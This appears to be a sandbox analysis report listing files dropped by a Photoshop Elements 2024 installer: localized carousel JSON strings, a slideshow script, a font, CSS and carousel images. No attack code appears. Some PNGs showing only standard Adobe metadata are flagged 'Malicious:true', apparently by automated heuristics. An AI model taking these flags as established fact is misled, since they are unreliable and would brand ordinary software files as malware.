                                                                                                SHA-512:CD0D8E9374F96FECE5673E7F6D9C259329A991F0CE46C90AFC41A51A937853ABAB71E64AC110FDE3977B7638484E1CC204F08D33A779E067DB637F1B54288EA9
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Samouczki programu Photoshop Elements",.. "SubTitle": "Rozpocznij, poznaj wszystkie podstawy, zainspiruj si..",.. "Operating1xWin": "Windows 7 z dodatkiem Service Pack 1 (64-bitowy) (minimalna wymagana wersja)",.. "OperatingSystemMac": "Mac OS 10.12 (minimalna wymagana wersja)",.. "Memory": "Do instalacji aplikacji wymagane s. co najmniej 4 GB pami.ci RAM.",.. "TextSlide1": "Dopasuj kolor i odcie. zdj.cia lub u.yj ustawie. predefiniowanych.",.. "TextSlide2": "Utw.rz tekst stylizowany w kilka sekund.",.. "TextSlide3": "Tw.rz i udost.pniaj rolki fotograficzne MP4.",.. "TextSlide4": "Kliknij, aby wybra. niebo lub t.o.",.. "TextSlide5": "Nowy, od.wie.ony wygl.d - z trybem jasnym i ciemnym.",.. "TextSlide6": "Plus",.. "TextSlide7": "Panel szybkich operacji do b.yskawicznych edycji",.. "TextSlide8": "Integracja z us.ug. Adobe Stock",.. "TextSlide9": "Aktualizacje internetowe i.mobilne ",.. "TextSlide10": "(Wersja Beta tylko w.j.zyku angielskim

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\Dictionary\ru_ru\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):1335
                                                                                                Entropy (8bit):4.708899028432502
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:vNcRW3tDc36llsSeJ3lccSeFJGvlqkEZmAhWaTT13hWaTT12hWaTT1FagiXF:V3R46MdZytqkSW+xW+EW+ZCF
                                                                                                MD5:C08F7659EFCC7319CEA404C411852D7C
                                                                                                SHA1:960E5E87D616CE32C02101DD95E31A1B9AA5CA01
                                                                                                SHA-256:0A2B57E247570FCD544EE2D76BB2520824DA5BEC5CC41C4B4082354A8F67087A
                                                                                                SHA-512:92CEE63DFF79C0F6875ED2B74328995C8A88F473E1E4A412DEF3EA5F6601B2A5EF424D4D1FA45F0E59083A405771A74C7B282AF6879C12E48F62E6AF4BB19781
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "........... .. Photoshop Elements",.. "SubTitle": ".......... ......, ......... ....., ......... ............",.. "Operating1xWin": "Windows 7 . ....... .......... SP1 (64-.........) (.......... .......... ......)",.. "OperatingSystemMac": "Mac OS 10.12 (.......... .......... ......)",.. "Memory": "... ......... .......... ......... ....... 4... ...",.. "TextSlide1": "..... ........ .......... ........... .......... . .......... GIF-............",.. "TextSlide2": "........... .......... ....... ....... . .......... ........ .......",.. "TextSlide4": "........... .......... ....... ....... . .......... ......

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\Dictionary\sv_se\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):966
                                                                                                Entropy (8bit):5.007707161623855
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:UcRWUuN36oJ3l4Kh+sW92zJZ2KAaceGyBL2Jgsmks/NhGQsuUbz9k:wUud6ObhU2zAcGyBOo/NhHsU
                                                                                                MD5:9A386BDD3D45947475EA973AA97A29FB
                                                                                                SHA1:F5DA3004442F42B7A59512E35414E6F4758F0634
                                                                                                SHA-256:7EC82E6599FA6E89DEE2837ECF6544C9062D2133D2D265F181C2710CC22E9129
                                                                                                SHA-512:796F9078350951EB62CF203E655F9170A1F02DFD9A16E327764955C27437E872E7C2B7612C0817CB4BA52051A0DC4E0B71925DDB0F1E10A81D1E5A41AE645A7B
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Sj.lvstudiekurser f.r Photoshop Elements",.. "SubTitle": "Kom ig.ng, l.r dig det grundl.ggande och bli inspirerad.",.. "Operating1xWin": "Windows 7 med Service Pack 1 (64-bitars) kr.vs",.. "OperatingSystemMac": "macOS 10.12 kr.vs",.. "Memory": "Om du vill installera programmet m.ste du ha minst 4 GB med RAM-minne",.. "TextSlide1": "Matcha f.rg och ton fr.n ett annat foto eller anv.nd f.rinst.llningar.",.. "TextSlide2": "Skapa stiliserad text p. n.gra sekunder.",.. "TextSlide3": "Skapa och dela filmrulle i mp4-format.",.. "TextSlide4": "Klicka en g.ng f.r att markera en himmel eller bakgrund.",.. "TextSlide5": "Nytt fr.scht utseende . med ljust och m.rkt l.ge.",.. "TextSlide6": "Plus",.. "TextSlide7": "Panelen Snabb.tg.rder f.r redigeringar med ett klick",.. "TextSlide8": "Adobe Stock-integrering",.. "TextSlide9": "Webb- och mobiluppdateringar ",.. "TextSlide10": "(betaversion endast p. engelska)"..}

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\Dictionary\zh_cn\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):533
                                                                                                Entropy (8bit):5.952077038813362
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:r4DRWf0pJ3bu1BJoWhu0mdu3lcW0mdJ3xMIYyeKOTuHHVy1r9R:ARWf2J36aQue3lcW8T1Y1ydv
                                                                                                MD5:9558152FC5BA73DAE53330E8F74103C3
                                                                                                SHA1:4583E8593C9BFFE79DB23F204D40F459EE4C579A
                                                                                                SHA-256:E716DAFAC7426644D61477EF792C1D26FF02E683494E6AE3BBF18FE5672F2409
                                                                                                SHA-512:A860CFEEFAB7A35CD5B9BA4A9735ECFCD593291D32A846F531AE507A5090DB422F57C4C843341C50D33CC092FDAC8BC1F48ACAF217D400C71440998D2C571581
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Photoshop Elements ..",.. "SubTitle": ".................",.. "Operating1xWin": "Windows 7 Service Pack 1.64 ........",.. "OperatingSystemMac": "Mac OS 10.12......",.. "Memory": "..... 4GB RAM .........",.. "TextSlide1": "._[Vo8] Instantly turn photos into works of art.",.. "TextSlide2": "._[Vo9] Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "._[Vo+] Warp photos to fit any shape."..}

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\Dictionary\zh_tw\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):535
                                                                                                Entropy (8bit):5.95952674339767
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:r4DRWPu5tTJ3bu1BJoWI3lcnqX+M9L5KOTPWHHVy1b9R:ARWPufJ36a33lcqXnP1I1ydv
                                                                                                MD5:480263433597D1DA400B0CAB80456B3C
                                                                                                SHA1:B89620BDC7F4C0917EED3CD3D0DE256A8D2AD23B
                                                                                                SHA-256:DEF0A09F07831DF10E11B346F2130509CB3AB30991C15A7FBDFE3D4AF6889562
                                                                                                SHA-512:B910FFDFB82C529E6F8E73A389B336117751356273FF4DAC776F456E9298EF72C903A3F39A09EE2F01207FD7860E5BE1BF05AB94843320B51E954589FA524805
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Photoshop Elements ....",.. "SubTitle": ".................",.. "Operating1xWin": "Windows 7 Service Pack 1 (64 ..) (....)",.. "OperatingSystemMac": "Mac OS 10.12 (....)",.. "Memory": "..... 4 GB . RAM ........",.. "TextSlide1": "._[Vo8] Instantly turn photos into works of art.",.. "TextSlide2": "._[Vo9] Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "._[Vo+] Warp photos to fit any shape."..}

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\Dictionary\zz_zz\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):500
                                                                                                Entropy (8bit):4.923628829725424
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:r4DRWrsxRrW/c3bu1BJoWF3lcnRFJgjCd2OT+ZHHVy1HNTR:ARW2Rv36a83lcHd5K1yZNl
                                                                                                MD5:8BE468F56ED75DF9FD6E9296736C7437
                                                                                                SHA1:6A5387D379E90A41DF202F2186DD520F707C91B4
                                                                                                SHA-256:AA811CB8BD2936A0B7F3F884E3347D9DBF4663ABFFDAF64401A13F7910C5FF86
                                                                                                SHA-512:85C55278DBAF490AD4686CEA2D3EDCC54C891654FE16B5129F5D28C20C2AB9D3A6AB98286F93FFA09906E7D74FDA9A1E8357ABE2A9B2643879C5C775D9372510
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Photoshop Elements tutorials",.. "SubTitle": "Get started, get the essentials, get inspired.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-bit) (Minimum required)",.. "OperatingSystemMac": "Mac OS 10.12 (Minimum required)",.. "Memory": "You need minimum 4Gb RAM to install the application",.. "TextSlide1": "Instantly turn photos into works of art.",.. "TextSlide2": "Create not-so-still photos with fun Moving Overlays.",.. "TextSlide3": "Warp photos to fit any shape."..}

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\carousel.js

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):2787
                                                                                                Entropy (8bit):5.184018118549148
                                                                                                Encrypted:false
                                                                                                SSDEEP:48:NrWwZsezuvmwQr3TcEuDgAIKRzpIrspGZXBi0ahMDPTAP96kP9N9P9ciP9aMHLPU:4wZ6pQrRu00lIrW4i0rTMU4LBSS574Es
                                                                                                MD5:44D3F90C842E5387DD782BC6097FABBD
                                                                                                SHA1:CB6F6D2D643A5D958BD00D7C212BD35C2BB4DDEB
                                                                                                SHA-256:DDA5350E57A484A80CA07489F18F064D67E21CCB08B36FF2BFA2C37657D6F37F
                                                                                                SHA-512:3BB152DA1E07A6A86C375A3790C65C185557F92B0148A0C41CB4E1C5D079C3F9E7EC33F6E08652669AB6BFCDABF61B358FDAA353CCF1BFB0D99E4B8C5F6188C6
                                                                                                Malicious:false
                                                                                                Preview:$(document).ready(function() { cecInit(); });....function cecInit() {.. var jsonData;.. var locale = getParameterByName("locale");.. var isHighDpi = getParameterByName("isHighDpi");.... $("html").attr("lang", locale.slice(0, 2));.... cecGetLocaleJson(locale);..}....function resizeWin() { myWindow.resizeTo(455, 239); }..var slideIndex = 0;..showSlides();....function showSlides() {.. var i;.. var slides = document.getElementsByClassName("mySlides");.. for (i = 0; i < slides.length; i++) {.. slides[i].style.opacity = "0";.. slides[i].style.visibility = "hidden";.. }.. slideIndex++;.. if (slideIndex > slides.length) {.. slideIndex = 1;.. }.... slides[slideIndex - 1].style.opacity = "1";.. slides[slideIndex - 1].style.visibility = "visible";.... if (slideIndex == 6) {.. slideIndex = 0;.. }.. setTimeout(showSlides, 6000); // Change image every 5 seconds..}....function getParameterByName(name) {.. name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");.. var

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\css\fonts\adobeclean\adobeclean-regular-webfont.woff

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:Web Open Font Format, TrueType, length 31112, version 1.0
                                                                                                Category:dropped
                                                                                                Size (bytes):31112
                                                                                                Entropy (8bit):7.984152889259412
                                                                                                Encrypted:false
                                                                                                SSDEEP:768:4ol18SuOO3bBAughXjNPQsXVjWuu7jqWdTS2gS:Lr6tAugVjN4sXJYjqWdm2V
                                                                                                MD5:6AF297E58EDC414EE90C76C2D3EA8678
                                                                                                SHA1:7497D181CD6FE3A4B01A4F8B6BA6A47D3FA54333
                                                                                                SHA-256:3E8F59DB6DFAE287AF8DCCC0FDF5E15A8AA2A954C2C232BC6C64536E1A27EAA5
                                                                                                SHA-512:61E14F8E605C4D2B52C9A874F40E73FDE43625BC468BA3C7316E7672CFFD05B7C1766C875FC1B48218BD2B6856226645EE9BCB45810EB7121C5DBD0C184B7D0A
                                                                                                Malicious:false
                                                                                                Preview:wOFF......y................................BASE.......J....c`[.FFTM............[...GDEF.......#...&....OS/2.......X...`j..#cmap...d.........B.cvt .......V...V.}..fpgm...@.......e../.gasp................glyf......k4.....8.head..q4...2...6..Cohhea..qh... ...$.r.hhmtx..q....Y.....6P.loca..s..........c..maxp..u.... ... ....name..u....(...2.JI.post..v..........k.prep..x.........:.&cx.c`d``..b..>........<...7............l....<...6..`d`...a`....d...z.....x.c```d....6...'{..@.J.b%...x.c`d``..b9..`.BF..@...%....c..+O...x.c`a~.8.......,...,..t.!.).Hs.23..01.$00..............o....w00..d.P``...c......\..y..x.c```f.`..F..8..1..,..........P..1............).9.%.5.}.+.x.5.J..~........1...AA@ABA.............._..........p.......~.......4?0..H.).S.....l.p.L@..]..,.l...\.<.|...B.".b...R.2.r...J.*.j...Z.:.z...F.&.f...V.6.v...N...n...^.>.~...A.!.a...Q.1.q....m..g.[.h...W.^.f..u.6n.e..{v...P...y.baA...,..Y......`...0.....b...Kjj.~...k.n_..........>{.Py..CKOsoW...}S.1L.3w6..c.@MU@.../.>...

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\css\styles.css

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):189
                                                                                                Entropy (8bit):4.841995719284234
                                                                                                Encrypted:false
                                                                                                SSDEEP:3:5RFKqvZKSYRvsDQR7C8jOIbQvLwKEUc3XKRCRNKLUDfFLKYgEQmXt:PJ9MsfIsvMfHHKRkNlZLKYgE7t
                                                                                                MD5:3A0EC2D2C5020A3CF45C13A87434B285
                                                                                                SHA1:12275D4D51DE801CE28C88A0C246DE22C6D08120
                                                                                                SHA-256:406288E48CED388744E5165A1EC4266F419CC409E4A70036E4B15A93AF5C42AB
                                                                                                SHA-512:A7C6D55F64D91E5D71661E040F4D06D2C873E0B2D2A3B2E52FF60D230A7C7C0924CD0DDC4DC124D53736C934023A27D6ED77C1266732F0B5DE5DC75B02715C8B
                                                                                                Malicious:false
                                                                                                Preview:@charset "utf-8";..@font-face {...font-family: 'AdobeClean';...src: url('fonts/adobeclean/adobeclean-regular-webfont.woff') format('woff');...font-weight: normal;...font-style: normal;..}..

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\images\01_PSE2024_InstallerCarousel_ColorMatch_445x239.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):218501
                                                                                                Entropy (8bit):7.994177806609243
                                                                                                Encrypted:true
                                                                                                SSDEEP:6144:IF6yyknzdRSTey+E4xlziCaENqYYRPuL1hGQ/uve:q6dkzdRzyfUlOZENXYJ2jGve
                                                                                                MD5:70155993A908DD3F179030722111DAFD
                                                                                                SHA1:7F77A6DA3295559977185127DF0131DFEAAB6401
                                                                                                SHA-256:CE3DB74C58B62C946144D90E1B98982846BFDBA928F3832EFF5DFB0800BD14DD
                                                                                                SHA-512:F4F84A88984EA656A13AD7D2F171688910528692E4CDEA2128C01EAAEE1E342AED9CD381162B888634083B38B36D34EEA31AF05E8BA0790570FB26125E6926EE
                                                                                                Malicious:true
                                                                                                Preview:.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:43-07:00" xmp:MetadataDate="2023-06-08T09:43:43-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:9cd1a8a5-fa0f-4664-954e-671adbe841c1" xmpMM:DocumentID="adobe:docid:photoshop:33d3baaf-635d-744b-8709-2bf9163d9686" xmpMM:OriginalDocumentID="xmp.did:f

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\images\02_PSE2024_InstallerCarousel_AddText_445x239.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):196538
                                                                                                Entropy (8bit):7.994396839674714
                                                                                                Encrypted:true
                                                                                                SSDEEP:3072:CnSlcookIH/9pdgUmvcFsGE4WywNB2DuN/7/r+Hh44JJwN+xMAr/Goh2qMdi3Add:EDo3ctFsR/Ht7KBRTiAr/GDVH7qfpgJb
                                                                                                MD5:ECBDD07F272A819936179371478A8C3F
                                                                                                SHA1:FF77202067ACB0463E7878C44004CF55549325C1
                                                                                                SHA-256:D370C16BDA414ECEED68A3432A1C2EBD37E3E84151E667CA5FCC2DA1A6876305
                                                                                                SHA-512:1B9FBD76C08CDAD927583F80FE5854EBFF55741805ADE093071A4BEEF0887DEF2CB456AD1B996CE110DD45F9E1B329457833BFF4DA0D391E0E7770D0FF119D21
                                                                                                Malicious:true
                                                                                                Preview:.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:26-07:00" xmp:ModifyDate="2023-06-08T09:43:44-07:00" xmp:MetadataDate="2023-06-08T09:43:44-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:4879ee18-af3c-48f2-a799-f0d2eb0add0b" xmpMM:DocumentID="adobe:docid:photoshop:63b35f9e-9203-bb4d-9b26-ed4aa5736dba" xmpMM:OriginalDocumentID="xmp.did:e

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\images\03_PSE2024_InstallerCarousel_PhotoReels_445x239.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):149774
                                                                                                Entropy (8bit):7.991574130023794
                                                                                                Encrypted:true
                                                                                                SSDEEP:3072:55ne4y2rhCF9yOm7QMflNGiYb+s9N5FsUA5FLOI70degQa:Pn3rkF27Q6Sbp0PLOI7GR
                                                                                                MD5:6FC7D9D817DECC0ECA1F54C1540DA1A0
                                                                                                SHA1:01959A4664CF3EA64A9CC85E6F8F60B25698107B
                                                                                                SHA-256:9426BB5B0A9E4524C05C861781A8599646B83B0572F548A065C0EC6B791B016D
                                                                                                SHA-512:1C492B0926915206A4A233FC1F00F3A5DF21AF7C957F00573BC7780E42A3AFAA444002B9420C31A6AC65C89B4B72DD26E6F640302F8C8240592AB5CA3636FC39
                                                                                                Malicious:true
                                                                                                Preview:.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:45-07:00" xmp:MetadataDate="2023-06-08T09:43:45-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:ecb4903c-3b3e-489c-8b36-4bd9573232de" xmpMM:DocumentID="adobe:docid:photoshop:32c69ae6-f6d6-d24d-96bd-887f72b4446c" xmpMM:OriginalDocumentID="xmp.did:5

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\images\04_PSE2024_InstallerCarousel_OneClickSelection_445x239.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):190441
                                                                                                Entropy (8bit):7.9969327976436695
                                                                                                Encrypted:true
                                                                                                SSDEEP:3072:/FkChxBSQXzJ6QT8bCMw8zYi2qgI4rD/lkX4uVToHq2H263TtV+kPbhKztvyKCy:9kCnBS4zaZdbfX4POX4u1oHqgLP+kPOp
                                                                                                MD5:448941A2F024056569EF9817EEFEB9A7
                                                                                                SHA1:544EC13242A4B9BD3E0A4D65079C55DF006D6D24
                                                                                                SHA-256:21EFD9F1038B0D96E1D14A54E2A57F0EA407149F4C522CF23B617932F7336743
                                                                                                SHA-512:1CE6C24D06CA13F200C7F856887F644C61AFC2DFD5C25C35197002DF4CD519A7EB98C253A6DCFC05017CD60A7DFFBFD4489DC8C068F6E4638BE546B7BEC0BB62
                                                                                                Malicious:true
                                                                                                Preview:.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:46-07:00" xmp:MetadataDate="2023-06-08T09:43:46-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:3f70fe00-776c-4639-9501-80a213adaf5c" xmpMM:DocumentID="adobe:docid:photoshop:403eff47-3e40-d943-b1f3-cd79be874dc9" xmpMM:OriginalDocumentID="xmp.did:6

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\images\05_PSE2024_InstallerCarousel_CallOut_445x239.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 445 x 239, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):222420
                                                                                                Entropy (8bit):7.994042748653122
                                                                                                Encrypted:true
                                                                                                SSDEEP:6144:jcz9b7RCO9pmE6Ko+87V5lIjrYR3XrwPaQOtI:jcz9nRChwQ55lAosPaptI
                                                                                                MD5:D428286039502448A467942D6F20772E
                                                                                                SHA1:412C3EA49EC6BC7EB0C52D778BC4E95E33201D88
                                                                                                SHA-256:61DA52D1E93196300E6E2DD189CB3F5BD5389A42CEA0903139E4D2F475CB6B2E
                                                                                                SHA-512:0022EB09B113D0B5B584B08458A1D2FB6381758CC94675D98F3EB118D48B4B4444477371D5C9D82C89F8027874D8B70F533327716E27E2395FCF19E8F102EDA4
                                                                                                Malicious:true
                                                                                                Preview:.PNG........IHDR.............f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c001 79.c0204b2def, 2023/02/02-12:14:24 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.5 (Macintosh)" xmp:CreateDate="2023-06-08T09:40:25-07:00" xmp:ModifyDate="2023-06-08T09:43:47-07:00" xmp:MetadataDate="2023-06-08T09:43:47-07:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:7ac500a4-b904-4744-8465-5d68e86d59d2" xmpMM:DocumentID="adobe:docid:photoshop:a720b7d4-b284-e144-a70b-eee0bf83c698" xmpMM:OriginalDocumentID="xmp.did:4

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\preserve\carousel\images\05_PSE2024_InstallerCarousel_NewUI_445x239.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 890 x 478, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):553301
                                                                                                Entropy (8bit):7.995654160787874
                                                                                                Encrypted:true
                                                                                                SSDEEP:12288:epoqx1wWl8qxmvXfTrc+toMT06H+rI6k2S+LmWJXEUon:Ooqx1kqGX/DLXzhEmG0Vn
                                                                                                MD5:3ED1397092BD3EAFDFE71335BF5F5E3C
                                                                                                SHA1:9D1DBE45E4F1F12A0642EED50F91FDC8DA3B888A
                                                                                                SHA-256:8276F8BE890ABEEC09B6AAB522F7B45F60ABE2BFA51FEC333924537BABF9D9E3
                                                                                                SHA-512:5DBE0A094498615CD944F7A16888E4603DC357779A9CA8D8DDEBDCF8AD8C72106EFFD316E3078037EBF254245D2C25BEA5A3ADFE773CCB783090206EE9D75A78
                                                                                                Malicious:true
